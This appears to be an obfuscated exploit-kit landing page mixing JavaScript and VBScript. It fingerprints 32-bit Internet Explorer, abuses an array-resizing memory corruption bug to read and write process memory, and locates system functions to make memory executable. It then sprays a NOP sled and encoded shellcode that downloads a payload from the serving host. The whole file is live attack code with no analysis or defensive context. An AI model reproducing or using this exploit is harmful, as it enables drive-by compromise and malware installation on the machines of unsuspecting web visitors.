Landing_2015-06-21_Pass2

function N2196Yd5vsv() {
    R7tYq6aI = String;
    Q5uquJ10itDF = 'fromCharCode';
    OoimiNhpbn = 'charCodeAt';
}

function FXjt8kX0lz3J1() {
    try {
        var FsG = navigator.userAgent.toLowerCase();
        var SGK8 = /MSIE[\/\s]\d+/i.test(FsG);
        var P0xX9 = /WOW64;/i.test(FsG);
        var W15Pe = /Win64;/i.test(FsG);
        var MV00u6 = /Trident\/(\d)/i.test(FsG) ? (parseInt(RegExp.$1) + 4) : null;
        if (!W15Pe && SGK8) {
            DrKEh8D5iT1x = MV00u6;
            Tl8k9KKuixqNr = P0xX9;
            return 1;
        }
    } catch (e) {}
    return 0
}

function GzauTowQiwct(E94K) {
    var T2TdTG = E94K & 0xFFFF;
    var ZSgTcT = (E94K >> 16) & 0xFFFF;
    return '%u' + Rv9oqgf3(T2TdTG, 4) + '%u' + Rv9oqgf3(ZSgTcT, 4)
}

function Rv9oqgf3(X6k2bs, UJi) {
    var F0x = X6k2bs.toString(16);
    while (F0x.length < UJi) {
        F0x = '0' + F0x
    }
    return F0x
}

function VqJo38zRr7bsrWJ() {
    var Tr2w = 'http://' + window.location.host + '/' + Jeh9KP1E9(window.HpyCbPO3z79kgk());
    if (Tr2w.length > 126)
        return;
    while (Tr2w.length < 126) {
        Tr2w += unescape('%00');
    }
    Tr2w += unescape('%00');
    return unescape(Nd1hz370Wjc4 + Hia5Uv2vpmoL7uy(Tr2w) + UBy6oeq0if41u43 + '%u0000');
}

function Jeh9KP1E9(OA5Qd) {
    var Slv = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    var LxprFe, F03JGa, Fn2z, V4rsD, RQt5, C8k, VIe1tN, Pjni8u, RIQ9Q = 0,
        KSlm = '';
    do {
        V4rsD = Slv.indexOf(OA5Qd.charAt(RIQ9Q++));
        RQt5 = Slv.indexOf(OA5Qd.charAt(RIQ9Q++));
        C8k = Slv.indexOf(OA5Qd.charAt(RIQ9Q++));
        VIe1tN = Slv.indexOf(OA5Qd.charAt(RIQ9Q++));
        Pjni8u = V4rsD << 18 | RQt5 << 12 | C8k << 6 | VIe1tN;
        LxprFe = Pjni8u >> 16 & 0xff;
        F03JGa = Pjni8u >> 8 & 0xff;
        Fn2z = Pjni8u & 0xff;
        if (C8k == 64) KSlm += R7tYq6aI[Q5uquJ10itDF](LxprFe);
        else if (VIe1tN == 64) KSlm += R7tYq6aI[Q5uquJ10itDF](LxprFe, F03JGa);
        else KSlm += R7tYq6aI[Q5uquJ10itDF](LxprFe, F03JGa, Fn2z);
    } while (RIQ9Q < OA5Qd.length);
    return KSlm;
}

function Hia5Uv2vpmoL7uy(Ophft) {
    var BdOx = '';
    for (var Paq7s = 0; Paq7s < Ophft.length; Paq7s++) {
        var AGx = Ophft[OoimiNhpbn](Paq7s);
        var Gl2 = ((AGx & 0xF0) >> 4) + 1;
        var Xyor = ((AGx & 0xF) + 1) << 8;
        BdOx += '%u';
        BdOx += Rv9oqgf3((Gl2 | Xyor), 4);
    }
    return BdOx;
}
sub AOwqxah4mrg()
end sub
class TPZpaK2d
Private QkrgC3nb691
Private NyHsOMv2x8jzee()
Private ARc2nyf1685()
Private Oesx05Bmun0C6
Private F5ZyzXh45Yk3Zs5i
Private Z23m30obEHZ5fs2
Private Fv67FtUf0k

Private FYuz4B7gN30flBOt(6)
Private Iqn08g3w13
Private Cg22UchZssxHhQam
Private VfXWK4luf8L2WsIX
Public Sub C6z3GsJ6
N2196Yd5vsv()
Randomize()
Iqn08g3w13 = 0
Cg22UchZssxHhQam = 0
VfXWK4luf8L2WsIX = 0
for Xbg = 0 to 6
FYuz4B7gN30flBOt(Xbg) = 0
next
End Sub
Public Sub Sut3pwwV
On Error Resume Next
ARc2nyf1685(0) = vbEmpty
redim Preserve NyHsOMv2x8jzee(Oesx05Bmun0C6)
End Sub
Private Function EhhI9NGIm22ueXu
EhhI9NGIm22ueXu = False
On Error Resume Next
dim Xgx0
Oesx05Bmun0C6 = 13 + 17 * rnd(6)
F5ZyzXh45Yk3Zs5i = 7 + 3 * rnd(5)
Z23m30obEHZ5fs2 = Oesx05Bmun0C6 + 2
redim Preserve NyHsOMv2x8jzee(Oesx05Bmun0C6)
redim ARc2nyf1685(Oesx05Bmun0C6)
redim Preserve NyHsOMv2x8jzee(Oesx05Bmun0C6 + & h8000000 & )
Xgx0 = 1
ARc2nyf1685(0) = 1.123456789012345678901234567890
if (IsObject(NyHsOMv2x8jzee(Z23m30obEHZ5fs2 - 1)) = False) then
if (Kn7TP2ts0d79b5() < 4) then
L4nk = cint(Oesx05Bmun0C6 + 1) * 16
Tih = vartype(NyHsOMv2x8jzee(Z23m30obEHZ5fs2 - 1))
if ((Tih = L4nk + 4) or(Tih * 8 = L4nk + 8)) then
if (VarType(NyHsOMv2x8jzee(Z23m30obEHZ5fs2 - 1)) < > 0) then
if (IsObject(NyHsOMv2x8jzee(Z23m30obEHZ5fs2)) = False) then
Xgx0 = VarType(NyHsOMv2x8jzee(Z23m30obEHZ5fs2))
end
if
end
if
else
    redim Preserve NyHsOMv2x8jzee(Oesx05Bmun0C6)
exit Function
end
if
else
if (vartype(NyHsOMv2x8jzee(Z23m30obEHZ5fs2 - 1)) < > 0) then
if (IsObject(NyHsOMv2x8jzee(Z23m30obEHZ5fs2)) = False) then
Xgx0 = VarType(NyHsOMv2x8jzee(Z23m30obEHZ5fs2))
end
if
end
if
end
if
end
if
If(Xgx0 = & h2f66 & ) Then
EhhI9NGIm22ueXu = True
QkrgC3nb691 = True
elseif(Xgx0 = & hB9AD & ) Then
EhhI9NGIm22ueXu = True
QkrgC3nb691 = False
else
    redim Preserve NyHsOMv2x8jzee(Oesx05Bmun0C6)
end
if
End Function
Private Function Rrf6Mkydp32Ch(K46x)
On Error Resume Next
ARc2nyf1685(0) = vbEmpty
NyHsOMv2x8jzee(Z23m30obEHZ5fs2) = K46x + 4
ARc2nyf1685(0) = vbString
Rrf6Mkydp32Ch = Int(lenb(NyHsOMv2x8jzee(Z23m30obEHZ5fs2)))
End Function
Private
function V6tuxLg3anU(ByVal Vba, ByRef LumDpe)
Dim Eum6rS, Wg6vg
V6tuxLg3anU = 0
Vba = Vba and & hffff0000 &
    do
        if (Rrf6Mkydp32Ch(Vba) and & hffff & ) = & h5a4d & then
Eum6rS = Vba
exit Do
end
if
Vba = Vba - & h10000 &
    loop
while 1
if Eum6rS = 0 then
exit Function
end
if
Wg6vg = Eum6rS + Rrf6Mkydp32Ch(Eum6rS + & h3c & )
if Rrf6Mkydp32Ch(Wg6vg) < > & h4550 & then
exit Function
end
if
LumDpe(0) = Eum6rS
LumDpe(1) = Wg6vg
LumDpe(2) = Rrf6Mkydp32Ch(Wg6vg + & h38 & + & h18 & )
LumDpe(3) = Rrf6Mkydp32Ch(Wg6vg + & h1c & )
LumDpe(4) = Rrf6Mkydp32Ch(Wg6vg + & h2c & )
V6tuxLg3anU = 1
End
function
Private Function Q6xzbYlp0keAdRK(ByVal Qy1K, ByRef F3kN)
Dim PuJ21, FEa
Q6xzbYlp0keAdRK = 0
PuJ21 = Qy1K(1) - Qy1K(0) + & h54 &
    ARc2nyf1685(0) = vbEmpty
NyHsOMv2x8jzee(Z23m30obEHZ5fs2) = Qy1K(1) + & h54 &
    ARc2nyf1685(0) = vbString
FEa = MidB(NyHsOMv2x8jzee(Z23m30obEHZ5fs2), Qy1K(4) - PuJ21 + 1, Qy1K(3) - & h1000 & )
ARc2nyf1685(0) = vbEmpty
F3kN(0) = Qy1K(0) + Qy1K(4)
F3kN(1) = FEa
Q6xzbYlp0keAdRK = 1
End Function
Private
function QsPLmx32f(byVal VYt60y, ByRef Ew6e, ByRef M94)
QsPLmx32f = 0
Dim TdHf61, PKkN, Z85la, ZrfvDp, HzQh, E86y
Dim ZkzQK9(3)
Dim YYz, T3d5nW
TdHf61 = Rrf6Mkydp32Ch(VYt60y(1) + & h80 & ) + VYt60y(0)
if TdHf61 = 0 then
exit
function
end
if
PKkN = Rrf6Mkydp32Ch(VYt60y(1) + & hD8 & ) + VYt60y(0)
Z85la = PKkN + Rrf6Mkydp32Ch(VYt60y(1) + & hDC & )
do
    ZrfvDp = Rrf6Mkydp32Ch(TdHf61)
HzQh = Rrf6Mkydp32Ch(TdHf61 + & h10 & )
if ZrfvDp = 0 then
exit do
    end
if
E86y = Rrf6Mkydp32Ch(TdHf61 + & hC & )
if E86y = 0 then
exit do
    end
if
if (Rrf6Mkydp32Ch(E86y + VYt60y(0)) or & h20202020 & ) = Ew6e(0) and(Rrf6Mkydp32Ch(E86y + VYt60y(0) + 4) or & h20202020 & ) = Ew6e(1) then
if ZrfvDp < > 0 then
YYz = Rrf6Mkydp32Ch(ZrfvDp + VYt60y(0))
else
    YYz = 0
end
if
if HzQh < > 0 then
T3d5nW = Rrf6Mkydp32Ch(HzQh + VYt60y(0))
else
    T3d5nW = 0
end
if
if YYz = 0 or T3d5nW = 0 then
exit do
    end
if
do
    YYz = Rrf6Mkydp32Ch(ZrfvDp + VYt60y(0))
if YYz = 0 then
exit do
    end
if
if (YYz and & h80000000 & ) = 0 then
ZkzQK9(0) = Rrf6Mkydp32Ch(YYz + VYt60y(0) + 2)
ZkzQK9(1) = Rrf6Mkydp32Ch(YYz + VYt60y(0) + 6)
ZkzQK9(2) = Rrf6Mkydp32Ch(YYz + VYt60y(0) + 10)
if M94(0) = ZkzQK9(0) and M94(1) = ZkzQK9(1) and M94(2) = ZkzQK9(2) then
if HzQh < > 0 then
T3d5nW = Rrf6Mkydp32Ch(HzQh + VYt60y(0))
else
    T3d5nW = 0
end
if
QsPLmx32f = T3d5nW
exit
function
end
if
end
if
HzQh = HzQh + 4
ZrfvDp = ZrfvDp + 4
loop
while 1
end
if
TdHf61 = TdHf61 + & h14 &
    loop
while 1
End
function
Private
function Jt6h6f3fta(Fxo)
Jt6h6f3fta = 0
Dim Ye9N(2)
Dim S3lqO, H67, Njhpl
Dim QifC, Owez
if Q6xzbYlp0keAdRK(Fxo, Ye9N) < > 1 then
exit
function
end
if
QifC = Unescape("%uC394")
Owez = Unescape("%uC35A")
S3lqO = Ye9N(0)
H67 = Ye9N(1)
Njhpl = InstrB(1, H67, QifC, 0)
if Njhpl < > 0 then
FYuz4B7gN30flBOt(0) = S3lqO + Njhpl - 1
end
if
Njhpl = InstrB(1, H67, Owez, 0)
if Njhpl < > 0 then
FYuz4B7gN30flBOt(1) = S3lqO + Njhpl - 1
end
if
if (FYuz4B7gN30flBOt(0) < > 0) and(FYuz4B7gN30flBOt(1) < > 0) then
Jt6h6f3fta = 1
exit
function
end
if
End
function
Private
function UoD84o8JQHPq(YTj)
UoD84o8JQHPq = 0
Dim Pf6(2)
Dim KDNRi1, H545, DotK, FreuMj, FlJj, IzLoEj, Tg43k
if Q6xzbYlp0keAdRK(YTj, Pf6) < > 1 then
exit
function
end
if
KDNRi1 = Unescape("%u018B%u50FF")
H545 = Pf6(0)
DotK = Pf6(1)
FreuMj = 0
FlJj = 1
do
    IzLoEj = InstrB(FlJj, DotK, KDNRi1, 0)
if IzLoEj = 0 then
exit do
    end
if
FreuMj = H545 + IzLoEj - 1
Tg43k = Rrf6Mkydp32Ch(FreuMj + 4)
if (Tg43k and & hFF & ) = & h04 & then
Cg22UchZssxHhQam = H545 + IzLoEj - 1
exit do
    end
if
FlJj = IzLoEj + 1
loop
while (IzLoEj < LenB(DotK))
    if Cg22UchZssxHhQam < > 0 then
UoD84o8JQHPq = 1
exit
function
end
if
End
function
Private Sub W9chrHunBntRjUfk(P5fQL, D3oKa)
YAe = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000")
On Error Resume Next
NyHsOMv2x8jzee(Z23m30obEHZ5fs2 + 2) = YAe
ARc2nyf1685(2) = (vbArray + vbVariant)
Ojmh0 = VarType(NyHsOMv2x8jzee(Z23m30obEHZ5fs2 + 2)(P5fQL - 24))
if Ojmh0 > 6 then
NyHsOMv2x8jzee(Z23m30obEHZ5fs2 + 2)(P5fQL - 40) = vbEmpty
NyHsOMv2x8jzee(Z23m30obEHZ5fs2 + 2)(P5fQL - 32) = vbEmpty
end
if
NyHsOMv2x8jzee(Z23m30obEHZ5fs2 + 2)(P5fQL - 24) = vbEmpty
NyHsOMv2x8jzee(Z23m30obEHZ5fs2 + 2)(P5fQL - 16) = vbEmpty
NyHsOMv2x8jzee(Z23m30obEHZ5fs2 + 2)(P5fQL - 8) = D3oKa
End Sub
Private Function P8gfx8e9HrAP2V()
On Error Resume Next
Xd2KJ = AOwqxah4mrg
Xd2KJ = null
ARc2nyf1685(0) = 0
NyHsOMv2x8jzee(Z23m30obEHZ5fs2) = Xd2KJ
ARc2nyf1685(0) = 3
P8gfx8e9HrAP2V = NyHsOMv2x8jzee(Z23m30obEHZ5fs2)
end
function
Private
function Jtc1ZVSuCMk7z(T3x6IC)
On Error Resume Next
dim Xx7
Xx7 = Unescape("%u9090%u9090")
while LenB(Xx7) < T3x6IC
Xx7 = Xx7 + Xx7
wend
Jtc1ZVSuCMk7z = MidB(Xx7, 1, T3x6IC)
End
function
Private
function LwdNY3ZZbqtb3l04(ByRef YMNnsq, ByVal NDa, ByVal F9ee77, Oqo)
Dim L560i
L560i = Unescape("%u33EB")
for Xwj = 0 to 11
L560i = L560i & Unescape(GzauTowQiwct(YMNnsq(Xwj)))
next
L560i = L560i & Unescape("%uEB58%uE805%uFFF8%uFFFF%u8B60%u2474%uBF1C")
L560i = L560i & Unescape(GzauTowQiwct(NDa))
L560i = L560i & Unescape("%uEE83%uB938%u000C%u0000%uA5F3%u448B%u1C24%uC083%uFF2E%u61D0%uB890")
L560i = L560i & Unescape(GzauTowQiwct(F9ee77))
if Oqo = 0 then
L560i = L560i & Unescape("%uC189%u658D%u8BF0%uEC55%uE2FF")
else
    L560i = L560i & Unescape("%uC189%u658D%u8BEC%uE455%uE2FF")
end
if
L560i = L560i & Unescape("%uC789%uC783%u891A%u66FE%u84AD%u74E4%uFE0C%uFECC%uC0C8%u04E0%uE008%uEBAA%u90EE")
LwdNY3ZZbqtb3l04 = L560i
end
function
Private
function Xx3oWewr32pHHtcx(XSPSO, Lol)
if Lol = 0 then
N070DB = GzauTowQiwct(XSPSO + & hC & )
N070DB = N070DB & GzauTowQiwct( & h41414141 & )
N070DB = N070DB & GzauTowQiwct(Cg22UchZssxHhQam)
N070DB = N070DB & GzauTowQiwct(FYuz4B7gN30flBOt(1))
N070DB = N070DB & GzauTowQiwct(FYuz4B7gN30flBOt(0))
else
    N070DB = GzauTowQiwct(FYuz4B7gN30flBOt(1) + 1)
N070DB = N070DB & GzauTowQiwct(FYuz4B7gN30flBOt(1))
N070DB = N070DB & GzauTowQiwct(FYuz4B7gN30flBOt(0))
N070DB = N070DB & GzauTowQiwct(FYuz4B7gN30flBOt(1))
N070DB = N070DB & GzauTowQiwct( & h41414141 & )
end
if
N070DB = N070DB & GzauTowQiwct(Iqn08g3w13)
N070DB = N070DB & GzauTowQiwct(XSPSO + & h3C & )
N070DB = N070DB & GzauTowQiwct( & hffffffff & )
N070DB = N070DB & GzauTowQiwct(XSPSO + & h30 & )
N070DB = N070DB & GzauTowQiwct(XSPSO + & h34 & )
N070DB = N070DB & GzauTowQiwct( & h40 & )
N070DB = N070DB & GzauTowQiwct(XSPSO + & h38 & )
N070DB = N070DB & GzauTowQiwct(XSPSO + & h3C & )
N070DB = N070DB & GzauTowQiwct( & h4000 & )
N070DB = N070DB & GzauTowQiwct( & h41414141 & )
Xx3oWewr32pHHtcx = Unescape(N070DB)
end
function
Public Sub Fgqev883Dj()
Dim S7oM, MGii, Q0k, VVa, En4a5R, HydwBu, Kjlm
Dim Yfxfck(12), LnI(5), J3kt(5), UpeK(5)
MGii = 0
S7oM = FXjt8kX0lz3J1()
if S7oM < > 1 then
exit sub
end
if
On Error Resume Next
redim ARc2nyf1685(5)
redim NyHsOMv2x8jzee(5)
For OvsL = 0 to 400
If EhhI9NGIm22ueXu() = True Then
MGii = 1
Exit For
End If
Next
if MGii < > 1 then exit sub end
if
VVa = 0
VVa = P8gfx8e9HrAP2V()
if VVa = 0 then exit sub end
if
ARc2nyf1685(0) = vbEmpty
En4a5R = 0
En4a5R = Rrf6Mkydp32Ch(VVa + 8)
if En4a5R = 0 then exit sub end
if
HydwBu = 0
HydwBu = Rrf6Mkydp32Ch(En4a5R + 16)
if HydwBu = 0 then exit sub end
if
Kjlm = 0
Kjlm = Rrf6Mkydp32Ch(HydwBu + & h0 & )
if Kjlm = 0 then exit sub end
if
if V6tuxLg3anU(Kjlm, LnI) < > 1 then
exit sub
end
if
Dim I04ao(2)
I04ao(0) = & h6E72656B &
    I04ao(1) = & h32336C65 &
    Dim E4yGY1(3)
E4yGY1(0) = & h74726956 &
    E4yGY1(1) = & h516C6175 &
    E4yGY1(2) = & h79726575 &
    Q0k = QsPLmx32f(LnI, I04ao, E4yGY1)
if Q0k = 0 then exit sub end
if
if V6tuxLg3anU(Q0k, J3kt) < > 1 then
exit sub
end
if
I04ao(0) = & h6C64746E &
    I04ao(1) = & h6C642E6C &
    E4yGY1(0) = & h7250744E &
    E4yGY1(1) = & h6365746F &
    E4yGY1(2) = & h72695674 &
    Iqn08g3w13 = QsPLmx32f(J3kt, I04ao, E4yGY1)
if Iqn08g3w13 = 0 then
exit sub
end
if
if V6tuxLg3anU(Iqn08g3w13, UpeK) < > 1 then
exit sub
end
if
if Jt6h6f3fta(UpeK) < > 1 then
exit sub
end
if
if UoD84o8JQHPq(LnI) < > 1 then
exit sub
end
if
for OvsL = 0 to 11
Yfxfck(OvsL) = Rrf6Mkydp32Ch(HydwBu - 40 + OvsL * 4)
next
X4z3 = Jtc1ZVSuCMk7z( & h40000 & )
MGii = 0
Cv8zl = 0
Qj0 = 0
PAl2 = 0
if Kn7TP2ts0d79b5() = 10 then
PAl2 = 1
end
if
Mm6 = VqJo38zRr7bsrWJ()
if Mm6 = Null then
exit sub
end
if
Y5Ieh6 = LwdNY3ZZbqtb3l04(Yfxfck, HydwBu - 40, HydwBu, PAl2)
ARc2nyf1685(0) = vbEmpty
Dim KS23y7
KS23y7 = X4z3 & Xx3oWewr32pHHtcx(Cv8zl + & h40000 & , PAl2) & Y5Ieh6 & Mm6 & X4z3
NyHsOMv2x8jzee(Z23m30obEHZ5fs2) = KS23y7
for OvsL = 0 to 7
NyHsOMv2x8jzee(Z23m30obEHZ5fs2) = KS23y7
ARc2nyf1685(0) = vbLong
Cv8zl = NyHsOMv2x8jzee(Z23m30obEHZ5fs2)
if Cv8zl = Qj0 then
NyHsOMv2x8jzee(Z23m30obEHZ5fs2 + 2) = 0
MGii = 1
exit
for
end
if
ARc2nyf1685(0) = vbString
Qj0 = Cv8zl
KS23y7 = X4z3 & Xx3oWewr32pHHtcx(Cv8zl + & h40000 & , PAl2) & Y5Ieh6 & Mm6 & X4z3
NyHsOMv2x8jzee(Z23m30obEHZ5fs2) = KS23y7
next
if MGii = 1 then
call W9chrHunBntRjUfk(HydwBu, Cv8zl + & h40000 & )
X4z3 = VarType(Cv8zl)
else
    X4z3 = VarType(Cv8zl)
end
if
End Sub

End class
Set RmwwGLZ9 = New TPZpaK2d
RmwwGLZ9.C6z3GsJ6
RmwwGLZ9.Fgqev883Dj
RmwwGLZ9.Sut3pwwV